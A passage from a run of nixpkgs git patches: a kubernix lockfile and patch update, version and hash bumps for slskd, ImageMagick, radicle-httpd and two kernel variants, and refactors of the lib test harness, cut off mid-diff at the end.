-"checksum libc 0.2.65 (registry+https://github.com/rust-lang/crates.io-index)" = "1a31a0627fdf1f6a39ec0dd577e101440b7db22672c0901fe00a9a6fbb5c24e8"
-"checksum linked-hash-map 0.5.2 (registry+https://github.com/rust-lang/crates.io-index)" = "ae91b68aebc4ddb91978b11a1b02ddd8602a05ec19002801c5666000e05e0f83"
-"checksum lock_api 0.3.1 (registry+https://github.com/rust-lang/crates.io-index)" = "f8912e782533a93a167888781b836336a6ca5da6175c05944c86cf28c31104dc"
-"checksum log 0.4.8 (registry+https://github.com/rust-lang/crates.io-index)" = "14b6052be84e6b71ab17edffc2eeabf5c2c3ae1fdb464aae35ac50c67a44e1f7"
-"checksum match_cfg 0.1.0 (registry+https://github.com/rust-lang/crates.io-index)" = "ffbee8634e0d45d258acb448e7eaab3fce7a0a467395d4d9f228e3c1f01fb2e4"
-"checksum maybe-uninit 2.0.0 (registry+https://github.com/rust-lang/crates.io-index)" = "60302e4db3a61da70c0cb7991976248362f30319e88850c487b9b95bbf059e00"
-"checksum memoffset 0.5.3 (registry+https://github.com/rust-lang/crates.io-index)" = "75189eb85871ea5c2e2c15abbdd541185f63b408415e5051f5cac122d8c774b9"
-"checksum nix 0.15.0 (registry+https://github.com/rust-lang/crates.io-index)" = "3b2e0b4f3320ed72aaedb9a5ac838690a8047c7b275da22711fddff4f8a14229"
-"checksum num_cpus 1.11.1 (registry+https://github.com/rust-lang/crates.io-index)" = "76dac5ed2a876980778b8b85f75a71b6cbf0db0b1232ee12f826bccb00d09d72"
-"checksum number_prefix 0.3.0 (registry+https://github.com/rust-lang/crates.io-index)" = "17b02fc0ff9a9e4b35b3342880f48e896ebf69f2967921fe8646bf5b7125956a"
-"checksum parking_lot 0.9.0 (registry+https://github.com/rust-lang/crates.io-index)" = "f842b1982eb6c2fe34036a4fbfb06dd185a3f5c8edfaacdf7d1ea10b07de6252"
-"checksum parking_lot_core 0.6.2 (registry+https://github.com/rust-lang/crates.io-index)" = "b876b1b9e7ac6e1a74a6da34d25c42e17e8862aa409cbbbdcfc8d86c6f3bc62b"
-"checksum partition-identity 0.2.6 (registry+https://github.com/rust-lang/crates.io-index)" = "b33909267193c7babe396e0570d0a12ba997b539edfdb2aea1e767e0ea728f05"
-"checksum ppv-lite86 0.2.6 (registry+https://github.com/rust-lang/crates.io-index)" = "74490b50b9fbe561ac330df47c08f3f33073d2d00c150f719147d7c54522fa1b"
-"checksum proc-macro-error 0.2.6 (registry+https://github.com/rust-lang/crates.io-index)" = "aeccfe4d5d8ea175d5f0e4a2ad0637e0f4121d63bd99d356fb1f39ab2e7c6097"
-"checksum proc-macro2 0.4.30 (registry+https://github.com/rust-lang/crates.io-index)" = "cf3d2011ab5c909338f7887f4fc896d35932e29146c12c8d01da6b22a80ba759"
-"checksum proc-macro2 1.0.6 (registry+https://github.com/rust-lang/crates.io-index)" = "9c9e470a8dc4aeae2dee2f335e8f533e2d4b347e1434e5671afc49b054592f27"
-"checksum proc-mounts 0.2.3 (registry+https://github.com/rust-lang/crates.io-index)" = "eaa1472134431dd27fcb4477d702d14cf5571a32ad92f2902522d354de42adda"
-"checksum quote 0.6.13 (registry+https://github.com/rust-lang/crates.io-index)" = "6ce23b6b870e8f94f81fb0a363d65d86675884b34a09043c81e5562f11c1f8e1"
-"checksum quote 1.0.2 (registry+https://github.com/rust-lang/crates.io-index)" = "053a8c8bcc71fcce321828dc897a98ab9760bef03a4fc36693c231e5b3216cfe"
-"checksum rand 0.7.2 (registry+https://github.com/rust-lang/crates.io-index)" = "3ae1b169243eaf61759b8475a998f0a385e42042370f3a7dbaf35246eacc8412"
-"checksum rand_chacha 0.2.1 (registry+https://github.com/rust-lang/crates.io-index)" = "03a2a90da8c7523f554344f921aa97283eadf6ac484a6d2a7d0212fa7f8d6853"
-"checksum rand_core 0.5.1 (registry+https://github.com/rust-lang/crates.io-index)" = "90bde5296fc891b0cef12a6d03ddccc162ce7b2aff54160af9338f8d40df6d19"
-"checksum rand_hc 0.2.0 (registry+https://github.com/rust-lang/crates.io-index)" = "ca3129af7b92a17112d59ad498c6f81eaf463253766b90396d39ea7a39d6613c"
-"checksum rayon 1.2.0 (registry+https://github.com/rust-lang/crates.io-index)" = "83a27732a533a1be0a0035a111fe76db89ad312f6f0347004c220c57f209a123"
-"checksum rayon-core 1.6.0 (registry+https://github.com/rust-lang/crates.io-index)" = "98dcf634205083b17d0861252431eb2acbfb698ab7478a2d20de07954f47ec7b"
-"checksum redox_syscall 0.1.56 (registry+https://github.com/rust-lang/crates.io-index)" = "2439c63f3f6139d1b57529d16bc3b8bb855230c8efcc5d3a896c8bea7c3b1e84"
-"checksum regex 1.3.1 (registry+https://github.com/rust-lang/crates.io-index)" = "dc220bd33bdce8f093101afe22a037b8eb0e5af33592e6a9caafff0d4cb81cbd"
-"checksum regex-syntax 0.6.12 (registry+https://github.com/rust-lang/crates.io-index)" = "11a7e20d1cce64ef2fed88b66d347f88bd9babb82845b2b858f3edbf59a4f716"
-"checksum remove_dir_all 0.5.2 (registry+https://github.com/rust-lang/crates.io-index)" = "4a83fa3702a688b9359eccba92d153ac33fd2e8462f9e0e3fdf155239ea7792e"
-"checksum rustc_version 0.2.3 (registry+https://github.com/rust-lang/crates.io-index)" = "138e3e0acb6c9fb258b19b67cb8abd63c00679d2851805ea151465464fe9030a"
-"checksum ryu 1.0.2 (registry+https://github.com/rust-lang/crates.io-index)" = "bfa8506c1de11c9c4e4c38863ccbe02a305c8188e85a05a784c9e11e1c3910c8"
-"checksum scopeguard 1.0.0 (registry+https://github.com/rust-lang/crates.io-index)" = "b42e15e59b18a828bbf5c58ea01debb36b9b096346de35d941dcb89009f24a0d"
-"checksum semver 0.9.0 (registry+https://github.com/rust-lang/crates.io-index)" = "1d7eb9ef2c18661902cc47e535f9bc51b78acd254da71d375c2f6720d9a40403"
-"checksum semver-parser 0.7.0 (registry+https://github.com/rust-lang/crates.io-index)" = "388a1df253eca08550bef6c72392cfe7c30914bf41df5269b68cbd6ff8f570a3"
-"checksum serde 1.0.102 (registry+https://github.com/rust-lang/crates.io-index)" = "0c4b39bd9b0b087684013a792c59e3e07a46a01d2322518d8a1104641a0b1be0"
-"checksum serde_derive 1.0.102 (registry+https://github.com/rust-lang/crates.io-index)" = "ca13fc1a832f793322228923fbb3aba9f3f44444898f835d31ad1b74fa0a2bf8"
-"checksum serde_json 1.0.41 (registry+https://github.com/rust-lang/crates.io-index)" = "2f72eb2a68a7dc3f9a691bfda9305a1c017a6215e5a4545c258500d2099a37c2"
-"checksum serde_yaml 0.8.11 (registry+https://github.com/rust-lang/crates.io-index)" = "691b17f19fc1ec9d94ec0b5864859290dff279dbd7b03f017afda54eb36c3c35"
-"checksum signal-hook 0.1.11 (registry+https://github.com/rust-lang/crates.io-index)" = "cb543aecec4ba8b867f41284729ddfdb7e8fcd70ec3d7d37fca3007a4b53675f"
-"checksum signal-hook-registry 1.1.1 (registry+https://github.com/rust-lang/crates.io-index)" = "1797d48f38f91643908bb14e35e79928f9f4b3cefb2420a564dde0991b4358dc"
-"checksum smallvec 0.6.13 (registry+https://github.com/rust-lang/crates.io-index)" = "f7b0758c52e15a8b5e3691eae6cc559f08eee9406e548a4477ba4e67770a82b6"
-"checksum strsim 0.9.2 (registry+https://github.com/rust-lang/crates.io-index)" = "032c03039aae92b350aad2e3779c352e104d919cb192ba2fabbd7b831ce4f0f6"
-"checksum syn 0.15.44 (registry+https://github.com/rust-lang/crates.io-index)" = "9ca4b3b69a77cbe1ffc9e198781b7acb0c7365a883670e8f1c1bc66fba79a5c5"
-"checksum syn 1.0.8 (registry+https://github.com/rust-lang/crates.io-index)" = "661641ea2aa15845cddeb97dad000d22070bb5c1fb456b96c1cba883ec691e92"
-"checksum synstructure 0.12.3 (registry+https://github.com/rust-lang/crates.io-index)" = "67656ea1dc1b41b1451851562ea232ec2e5a80242139f7e679ceccfb5d61f545"
-"checksum tempfile 3.1.0 (registry+https://github.com/rust-lang/crates.io-index)" = "7a6e24d9338a0a5be79593e2fa15a648add6138caa803e2d5bc782c371732ca9"
-"checksum term_size 0.3.1 (registry+https://github.com/rust-lang/crates.io-index)" = "9e5b9a66db815dcfd2da92db471106457082577c3c278d4138ab3e3b4e189327"
-"checksum term_size 1.0.0-beta1 (registry+https://github.com/rust-lang/crates.io-index)" = "a8a17d8699e154863becdf18e4fd28bd0be27ca72856f54daf75c00f2566898f"
-"checksum termios 0.3.1 (registry+https://github.com/rust-lang/crates.io-index)" = "72b620c5ea021d75a735c943269bb07d30c9b77d6ac6b236bc8b5c496ef05625"
-"checksum textwrap 0.11.0 (registry+https://github.com/rust-lang/crates.io-index)" = "d326610f408c7a4eb6f51c37c330e496b08506c9457c9d34287ecc38809fb060"
-"checksum toml 0.5.5 (registry+https://github.com/rust-lang/crates.io-index)" = "01d1404644c8b12b16bfcffa4322403a91a451584daaaa7c28d3152e6cbc98cf"
-"checksum unicode-width 0.1.6 (registry+https://github.com/rust-lang/crates.io-index)" = "7007dbd421b92cc6e28410fe7362e2e0a2503394908f417b68ec8d1c364c4e20"
-"checksum unicode-xid 0.1.0 (registry+https://github.com/rust-lang/crates.io-index)" = "fc72304796d0818e357ead4e000d19c9c174ab23dc11093ac919054d20a6a7fc"
-"checksum unicode-xid 0.2.0 (registry+https://github.com/rust-lang/crates.io-index)" = "826e7639553986605ec5979c7dd957c7895e93eabed50ab2ffa7f6128a75097c"
-"checksum vec_map 0.8.1 (registry+https://github.com/rust-lang/crates.io-index)" = "05c78687fb1a80548ae3250346c3db86a80a7cdd77bda190189f2d0a0987c81a"
-"checksum void 1.0.2 (registry+https://github.com/rust-lang/crates.io-index)" = "6a02e4885ed3bc0f2de90ea6dd45ebcbb66dacffe03547fadbb0eeae2770887d"
-"checksum wasi 0.7.0 (registry+https://github.com/rust-lang/crates.io-index)" = "b89c3ce4ce14bdc6fb6beaf9ec7928ca331de5df7e5ea278375642a2f478570d"
-"checksum winapi 0.2.8 (registry+https://github.com/rust-lang/crates.io-index)" = "167dc9d6949a9b857f3451275e911c3f44255842c1f7a76f33c55103a909087a"
-"checksum winapi 0.3.8 (registry+https://github.com/rust-lang/crates.io-index)" = "8093091eeb260906a183e6ae1abdba2ef5ef2257a21801128899c3fc699229c6"
-"checksum winapi-build 0.1.1 (registry+https://github.com/rust-lang/crates.io-index)" = "2d315eee3b34aca4797b2da6b13ed88266e6d612562a0c46390af8299fc699bc"
-"checksum winapi-i686-pc-windows-gnu 0.4.0 (registry+https://github.com/rust-lang/crates.io-index)" = "ac3b87c63620426dd9b991e5ce0329eff545bccbbb34f3be09ff6fb6ab51b7b6"
-"checksum winapi-x86_64-pc-windows-gnu 0.4.0 (registry+https://github.com/rust-lang/crates.io-index)" = "712e227841d057c1ee1cd2fb22fa7e5a5461ae8e48fa2ca79ec42cfc1931183f"
-"checksum yaml-rust 0.4.3 (registry+https://github.com/rust-lang/crates.io-index)" = "65923dd1784f44da1d2c3dbbc5e822045628c590ba72123e1c73d3c230c4434d"
+[[package]]
+name = "zerocopy"
+version = "0.8.26"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "1039dd0d3c310cf05de012d8a39ff557cb0d23087fd44cad61df08fc31907a2f"
+dependencies = [
+ "zerocopy-derive",
+]
+
+[[package]]
+name = "zerocopy-derive"
+version = "0.8.26"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "9ecf5b4cc5364572d7f4c329661bcc82724222973f2cab6f050a4e5c22f75181"
+dependencies = [
+ "proc-macro2",
+ "quote",
+ "syn 2.0.104",
+]
diff --git a/pkgs/by-name/ku/kubernix/Cargo.toml.patch b/pkgs/by-name/ku/kubernix/Cargo.toml.patch
new file mode 100644
index 000000000000..b4c21e3e7292
--- /dev/null
+++ b/pkgs/by-name/ku/kubernix/Cargo.toml.patch
@@ -0,0 +1,14 @@
+diff --git a/Cargo.toml b/Cargo.toml
+index 681e634..48cbc8e 100644
+--- a/Cargo.toml
++++ b/Cargo.toml
+@@ -19,7 +19,8 @@ path = "src/main.rs"
+ [dependencies]
+ anyhow = "1.0.43"
+ base64 = "0.13.0"
+-clap = { git = "https://github.com/clap-rs/clap", features = ["wrap_help"] }
++clap = { version = "= 3.0.0-beta.2", features = ["wrap_help"] }
++clap_derive = "= 3.0.0-beta.2"
+ console = "0.14.1"
+ crossbeam-channel = "0.5.1"
+ getset = "0.1.1"
diff --git a/pkgs/by-name/ku/kubernix/fix-compile-error.patch b/pkgs/by-name/ku/kubernix/fix-compile-error.patch
new file mode 100644
index 000000000000..9e550e46da7f
--- /dev/null
+++ b/pkgs/by-name/ku/kubernix/fix-compile-error.patch
@@ -0,0 +1,13 @@
+diff --git a/src/crio.rs b/src/crio.rs
+index 36bf40b..97d5e57 100644
+--- a/src/crio.rs
++++ b/src/crio.rs
+@@ -34,7 +34,7 @@ impl Display for CriSocket {
+ impl CriSocket {
+     pub fn new(path: PathBuf) -> Result<CriSocket> {
+         if path.display().to_string().len() > 100 {
+-            bail!("Socket path '{}' is too long")
++            bail!("Socket path '{}' is too long", path.display().to_string())
+         }
+         Ok(CriSocket(path))
+     }
diff --git a/pkgs/by-name/ku/kubernix/package.nix b/pkgs/by-name/ku/kubernix/package.nix
index ae7316ffe7be..73fd7ed1ba8d 100644
--- a/pkgs/by-name/ku/kubernix/package.nix
+++ b/pkgs/by-name/ku/kubernix/package.nix
@@ -6,22 +6,28 @@
 
 rustPlatform.buildRustPackage rec {
   pname = "kubernix";
-  version = "0.2.0";
+  version = "0.2.0-unstable-2021-11-16";
 
   src = fetchFromGitHub {
     owner = "saschagrunert";
     repo = "kubernix";
-    rev = "v${version}";
-    sha256 = "04dzfdzjwcwwaw9min322g30q0saxpq5kqzld4f22fmk820ki6gp";
+    rev = "630087e023e403d461c4bb8b1c9368b26a2c0744";
+    sha256 = "sha256-IkfVpNxWOqQt/aXsN4iD9dkKKyOui3maKowVibuKbvM=";
   };
 
-  cargoLock = {
-    lockFile = ./Cargo.lock;
-    outputHashes = {
-      "clap-3.0.0-beta.1" = "sha256-tErZmEiAF1v39AtgRUHoEmoYqXPWRDXBEkWUbH+fPyY=";
-      "clap_derive-0.3.0" = "sha256-VijH+XB4WeKYUsJH9h/ID8EGZ89R3oauYO8Yg331dPU=";
-    };
-  };
+  cargoLock.lockFile = ./Cargo.lock;
+
+  patches = [
+    # Need a specific version of clap and clap_derive: fails with anything greater.
+    ./Cargo.toml.patch
+    # error: 1 positional argument in format string, but no arguments were given
+    ./fix-compile-error.patch
+  ];
+
+  postPatch = ''
+    cp ${./Cargo.lock} Cargo.lock
+  '';
+
   doCheck = false;
 
   meta = with lib; {

From f4442aaca3f1a332e347dfdb504d20ef11edb12a Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Sun, 17 Aug 2025 22:50:08 +0000
Subject: [PATCH 3633/4511] slskd: 0.23.1 -> 0.23.2

(cherry picked from commit e501e914c43260d5980725b1f10bc489dc056166)
---
 pkgs/by-name/sl/slskd/deps.json   | 4 ++--
 pkgs/by-name/sl/slskd/package.nix | 6 +++---
 2 files changed, 5 insertions(+), 5 deletions(-)

diff --git a/pkgs/by-name/sl/slskd/deps.json b/pkgs/by-name/sl/slskd/deps.json
index b58ab14bb3d8..37fe7edcf63b 100644
--- a/pkgs/by-name/sl/slskd/deps.json
+++ b/pkgs/by-name/sl/slskd/deps.json
@@ -781,8 +781,8 @@
   },
   {
     "pname": "Soulseek",
-    "version": "7.1.0",
-    "hash": "sha256-n6LUNuPmmy9QYNNALR0ObYyR9LJalf0H8P+SKnoqfFc="
+    "version": "7.1.2",
+    "hash": "sha256-yel9mxRf1idEQssM7n4SIVQPMQDMDmyvfL5owllqgf0="
   },
   {
     "pname": "SQLitePCLRaw.bundle_e_sqlite3",
diff --git a/pkgs/by-name/sl/slskd/package.nix b/pkgs/by-name/sl/slskd/package.nix
index ef94103af49a..052b5e72a0bc 100644
--- a/pkgs/by-name/sl/slskd/package.nix
+++ b/pkgs/by-name/sl/slskd/package.nix
@@ -19,13 +19,13 @@ let
 in
 buildDotnetModule rec {
   pname = "slskd";
-  version = "0.23.1";
+  version = "0.23.2";
 
   src = fetchFromGitHub {
     owner = "slskd";
     repo = "slskd";
     tag = version;
-    hash = "sha256-vUqDWzWJIZbb6WvANsLhUBzyQFi59/+jizarI8Ob3uQ=";
+    hash = "sha256-y/qgx4tC7QGQTbBqhvp/TUalW1MfKYzvvSVgyNvKMME=";
   };
 
   nativeBuildInputs = [
@@ -40,7 +40,7 @@ buildDotnetModule rec {
     name = "${pname}-${version}-npm-deps";
     inherit src;
     sourceRoot = "${src.name}/${npmRoot}";
-    hash = "sha256-AbIlpu0KNuzwSQVIsSRhLQZqE3yA68DlIL4WbZ34Hi8=";
+    hash = "sha256-xFRuyCMPR+NT3ogmqKK0cmjdv6v/90deP50Y5vIL20w=";
   };
 
   projectFile = "slskd.sln";

From d6798c78a44c783560ab97bc3c48f1fc09db150a Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Robert=20Sch=C3=BCtz?= <nix@dotlambda.de>
Date: Tue, 12 Aug 2025 18:30:43 -0700
Subject: [PATCH 3634/4511] imagemagick: 7.1.2-0 -> 7.1.2-1

Diff: https://github.com/ImageMagick/ImageMagick/compare/refs/tags/7.1.2-0...refs/tags/7.1.2-1

Changelog: https://github.com/ImageMagick/Website/blob/main/ChangeLog.md
(cherry picked from commit 927ef57e42bc6320f0cf9d724c3ec2fb122924cc)
---
 pkgs/applications/graphics/ImageMagick/default.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/applications/graphics/ImageMagick/default.nix b/pkgs/applications/graphics/ImageMagick/default.nix
index 8221a7c82e33..3e884df89e5a 100644
--- a/pkgs/applications/graphics/ImageMagick/default.nix
+++ b/pkgs/applications/graphics/ImageMagick/default.nix
@@ -85,13 +85,13 @@ in
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "imagemagick";
-  version = "7.1.2-0";
+  version = "7.1.2-1";
 
   src = fetchFromGitHub {
     owner = "ImageMagick";
     repo = "ImageMagick";
     tag = finalAttrs.version;
-    hash = "sha256-4x0+yELmXstv9hPuwzMGcKiTa1rZtURZgwSSVIhzAkE=";
+    hash = "sha256-SHzDSknIHz8/CHV0Lnlr8YtOhs67MPMXiVHfv50gfwY=";
   };
 
   outputs = [

From 0010ca6d14dfe295d7e30aa5751d781d64f3e2cb Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Mon, 18 Aug 2025 11:24:44 +0000
Subject: [PATCH 3635/4511] linuxKernel.kernels.linux_zen: 6.16 -> 6.16.1

(cherry picked from commit cb9b10bfd56557aa9b03cdff4bfc63997541eaaa)
---
 pkgs/os-specific/linux/kernel/zen-kernels.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/os-specific/linux/kernel/zen-kernels.nix b/pkgs/os-specific/linux/kernel/zen-kernels.nix
index fe6aa373c735..52df0d8e0ad1 100644
--- a/pkgs/os-specific/linux/kernel/zen-kernels.nix
+++ b/pkgs/os-specific/linux/kernel/zen-kernels.nix
@@ -16,9 +16,9 @@ let
   variants = {
     # ./update-zen.py zen
     zen = {
-      version = "6.16"; # zen
+      version = "6.16.1"; # zen
       suffix = "zen1"; # zen
-      sha256 = "1ckysnshlrhfycz0yppna6jrnvgc9k49wr5srvl15wj1hck84p7d"; # zen
+      sha256 = "1z20d53hz1zwg65x8jbq57v7snh9z5qk0gnvw4v6xfn9hwi79sjs"; # zen
       isLqx = false;
     };
     # ./update-zen.py lqx

From e8af78d5ea2908ede099bcda5a26dfba9235e18b Mon Sep 17 00:00:00 2001
From: Lorenz Leutgeb <lorenz@leutgeb.xyz>
Date: Wed, 30 Jul 2025 12:31:42 +0200
Subject: [PATCH 3636/4511] =?UTF-8?q?radicle-httpd:=200.19.1=20=E2=86=92?=
 =?UTF-8?q?=200.20.0?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

(cherry picked from commit 3926cdcaa43b8df594fb1da0a18dfe492270676c)
---
 pkgs/by-name/ra/radicle-httpd/package.nix | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/pkgs/by-name/ra/radicle-httpd/package.nix b/pkgs/by-name/ra/radicle-httpd/package.nix
index f7ff97ade73b..d4067fff8029 100644
--- a/pkgs/by-name/ra/radicle-httpd/package.nix
+++ b/pkgs/by-name/ra/radicle-httpd/package.nix
@@ -12,20 +12,20 @@
 }:
 rustPlatform.buildRustPackage rec {
   pname = "radicle-httpd";
-  version = "0.19.1";
+  version = "0.20.0";
   env.RADICLE_VERSION = version;
 
   # You must update the radicle-explorer source hash when changing this.
   src = fetchgit {
     url = "https://seed.radicle.xyz/z4V1sjrXqjvFdnCUbxPFqd5p4DtH5.git";
-    rev = "refs/namespaces/z6MkkfM3tPXNPrPevKr3uSiQtHPuwnNhu2yUVjgd2jXVsVz5/refs/tags/v${version}";
-    hash = "sha256-RDF36bEJg54DG/YgORGo+BwrHMfmd12FRCrP6fVvHPg=";
+    rev = "refs/namespaces/z6MkireRatUThvd3qzfKht1S44wpm4FEWSSa4PRMTSQZ3voM/refs/tags/v${version}";
+    hash = "sha256-9rJH4ECqOJ9wnYxCbEFHXo3PlhbPdeOnF+Pf1MzX25c=";
     sparseCheckout = [ "radicle-httpd" ];
   };
 
   sourceRoot = "${src.name}/radicle-httpd";
 
-  cargoHash = "sha256-wSz0kM2XU717A0+mU+3eOHJWlRGdG9KjvfUkUq5bv14=";
+  cargoHash = "sha256-1GWWtrSYzTXUAgjeWaxyOuDqTDuTMWleug8SmxTHXbI=";
 
   nativeBuildInputs = [
     asciidoctor

From e888a099315b233307659bff4c60657445d65db5 Mon Sep 17 00:00:00 2001
From: Sergei Zimmerman <sergei@zimmerman.foo>
Date: Thu, 14 Aug 2025 19:10:08 +0300
Subject: [PATCH 3637/4511] lib/tests/misc: don't import nixpkgs

(cherry picked from commit 74799dd97cea1ae09d62d25124226d5f058130d5)
---
 lib/tests/misc.nix | 17 ++++++++---------
 1 file changed, 8 insertions(+), 9 deletions(-)

diff --git a/lib/tests/misc.nix b/lib/tests/misc.nix
index a44561fb1e69..0d6aa2c879e6 100644
--- a/lib/tests/misc.nix
+++ b/lib/tests/misc.nix
@@ -145,6 +145,11 @@ let
       inherit expected;
     };
 
+  dummyDerivation = derivation {
+    name = "name";
+    builder = "builder";
+    system = "system";
+  };
 in
 
 runTests {
@@ -782,13 +787,7 @@ runTests {
   };
 
   testSplitStringsDerivation = {
-    expr = take 3 (
-      strings.splitString "/" (derivation {
-        name = "name";
-        builder = "builder";
-        system = "system";
-      })
-    );
+    expr = take 3 (strings.splitString "/" dummyDerivation);
     expected = [
       ""
       "nix"
@@ -841,7 +840,7 @@ runTests {
       in
       {
         storePath = isStorePath goodPath;
-        storePathDerivation = isStorePath (import ../.. { system = "x86_64-linux"; }).hello;
+        storePathDerivation = isStorePath dummyDerivation;
         storePathAppendix = isStorePath "${goodPath}/bin/python";
         nonAbsolute = isStorePath (concatStrings (tail (stringToCharacters goodPath)));
         asPath = isStorePath (/. + goodPath);
@@ -926,7 +925,7 @@ runTests {
   };
 
   testHasInfixDerivation = {
-    expr = hasInfix "hello" (import ../.. { system = "x86_64-linux"; }).hello;
+    expr = hasInfix "name" dummyDerivation;
     expected = true;
   };
 

From 0e04293d5926d91ca6d1855446901698fe26891b Mon Sep 17 00:00:00 2001
From: Sergei Zimmerman <sergei@zimmerman.foo>
Date: Thu, 14 Aug 2025 19:18:08 +0300
Subject: [PATCH 3638/4511] lib/tests/misc: don't hardcode store directory

(cherry picked from commit 76a7b540835ef7a7aed2253c7c3e620a5379cfef)
---
 lib/tests/misc.nix | 8 ++------
 1 file changed, 2 insertions(+), 6 deletions(-)

diff --git a/lib/tests/misc.nix b/lib/tests/misc.nix
index 0d6aa2c879e6..2692ffd4ba26 100644
--- a/lib/tests/misc.nix
+++ b/lib/tests/misc.nix
@@ -787,12 +787,8 @@ runTests {
   };
 
   testSplitStringsDerivation = {
-    expr = take 3 (strings.splitString "/" dummyDerivation);
-    expected = [
-      ""
-      "nix"
-      "store"
-    ];
+    expr = lib.dropEnd 1 (strings.splitString "/" dummyDerivation);
+    expected = strings.splitString "/" builtins.storeDir;
   };
 
   testSplitVersionSingle = {

From 16a05de6380612747163104fd2cd300687d97443 Mon Sep 17 00:00:00 2001
From: Sergei Zimmerman <sergei@zimmerman.foo>
Date: Thu, 14 Aug 2025 19:22:35 +0300
Subject: [PATCH 3639/4511] lib/tests/test-with-nix: run misc.nix tests in the
 derivation

This would have allowed us to catch to fromTOML regression in
[1] without waiting for the dogfooding on master, since previously
these tests [2] were not run for the Nix/Lix under test - only the host
nix.

[1]: https://github.com/NixOS/nix/pull/13741
[2]: https://github.com/NixOS/nixpkgs/pull/433710

(cherry picked from commit 67ef2657ff6e3e8ece62a7a08b4231573a052a15)
---
 lib/tests/test-with-nix.nix | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/lib/tests/test-with-nix.nix b/lib/tests/test-with-nix.nix
index ebbe5e0ae5cd..36db15ab32c8 100644
--- a/lib/tests/test-with-nix.nix
+++ b/lib/tests/test-with-nix.nix
@@ -71,6 +71,9 @@ pkgs.runCommand "nixpkgs-lib-tests-nix-${nix.version}"
     echo "Running lib/tests/systems.nix"
     [[ $(nix-instantiate --eval --strict lib/tests/systems.nix | tee /dev/stderr) == '[ ]' ]];
 
+    echo "Running lib/tests/misc.nix"
+    [[ $(nix-instantiate --eval --strict lib/tests/misc.nix | tee /dev/stderr) == '[ ]' ]];
+
     mkdir $out
     echo success > $out/${nix.version}
   ''

From da5d00ad9c0b565e0829575460a1720b2eefcfd2 Mon Sep 17 00:00:00 2001
From: Sergei Zimmerman <sergei@zimmerman.foo>
Date: Thu, 14 Aug 2025 22:46:59 +0300
Subject: [PATCH 3640/4511] lib/tests/test-with-nix: remove broken import
 ./check-eval

This doesn't do the right thing here, because it evaluates
the test with nix that is evaluating the `nixpkgs-lib-tests-nix-${nix.version}`
derivation, not the Nix/Lix under test. This was just really busted for a long
time.

(cherry picked from commit c2698371ef823bb2158015a39347576ce0fcffe3)
---
 lib/tests/check-eval.nix    | 10 ----------
 lib/tests/test-with-nix.nix |  1 -
 2 files changed, 11 deletions(-)
 delete mode 100644 lib/tests/check-eval.nix

diff --git a/lib/tests/check-eval.nix b/lib/tests/check-eval.nix
deleted file mode 100644
index 2ef7580e5857..000000000000
--- a/lib/tests/check-eval.nix
+++ /dev/null
@@ -1,10 +0,0 @@
-# Throws an error if any of our lib tests fail.
-
-let
-  tests = [
-    "misc"
-    "systems"
-  ];
-  all = builtins.concatLists (map (f: import (./. + "/${f}.nix")) tests);
-in
-if all == [ ] then null else throw (builtins.toJSON all)
diff --git a/lib/tests/test-with-nix.nix b/lib/tests/test-with-nix.nix
index 36db15ab32c8..4e13eef4c5b1 100644
--- a/lib/tests/test-with-nix.nix
+++ b/lib/tests/test-with-nix.nix
@@ -18,7 +18,6 @@
 pkgs.runCommand "nixpkgs-lib-tests-nix-${nix.version}"
   {
     buildInputs = [
-      (import ./check-eval.nix)
       (import ./fetchers.nix)
       (import ../path/tests {
         inherit pkgs;

From d5edba18e838970b9c0b895fdb4c279253728aad Mon Sep 17 00:00:00 2001
From: Sergei Zimmerman <sergei@zimmerman.foo>
Date: Thu, 14 Aug 2025 22:51:59 +0300
Subject: [PATCH 3641/4511] lib/tests/test-with-nix: run lib/tests/fetchers.nix
 in the derivation

This suffers from the same issue as misc.nix tests, because they
were evaluated by the host nix, not the one that is being tested.

(cherry picked from commit 609c8799fa2f2d85d4d709f826f740b69cbdaba9)
---
 lib/tests/test-with-nix.nix | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/lib/tests/test-with-nix.nix b/lib/tests/test-with-nix.nix
index 4e13eef4c5b1..4fc65010b878 100644
--- a/lib/tests/test-with-nix.nix
+++ b/lib/tests/test-with-nix.nix
@@ -18,7 +18,6 @@
 pkgs.runCommand "nixpkgs-lib-tests-nix-${nix.version}"
   {
     buildInputs = [
-      (import ./fetchers.nix)
       (import ../path/tests {
         inherit pkgs;
       })
@@ -73,6 +72,9 @@ pkgs.runCommand "nixpkgs-lib-tests-nix-${nix.version}"
     echo "Running lib/tests/misc.nix"
     [[ $(nix-instantiate --eval --strict lib/tests/misc.nix | tee /dev/stderr) == '[ ]' ]];
 
+    echo "Running lib/tests/fetchers.nix"
+    [[ $(nix-instantiate --eval --strict lib/tests/fetchers.nix | tee /dev/stderr) == '[ ]' ]];
+
     mkdir $out
     echo success > $out/${nix.version}
   ''

From 22953608d53ee46a6e27c565e03fbdc27c0383e2 Mon Sep 17 00:00:00 2001
From: eljamm <fedi.jamoussi@protonmail.ch>
Date: Sat, 16 Aug 2025 12:24:10 +0200
Subject: [PATCH 3642/4511] linux_xanmod: 6.12.41 -> 6.12.42

(cherry picked from commit 2e755fee7bac3eb43173ad66b83e2d74c15e1dd9)
---
 pkgs/os-specific/linux/kernel/xanmod-kernels.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/os-specific/linux/kernel/xanmod-kernels.nix b/pkgs/os-specific/linux/kernel/xanmod-kernels.nix
index 56fdfd3bc172..8ffcdb1f6bb1 100644
--- a/pkgs/os-specific/linux/kernel/xanmod-kernels.nix
+++ b/pkgs/os-specific/linux/kernel/xanmod-kernels.nix
@@ -15,8 +15,8 @@ let
   variants = {
     # ./update-xanmod.sh lts
     lts = {
-      version = "6.12.41";
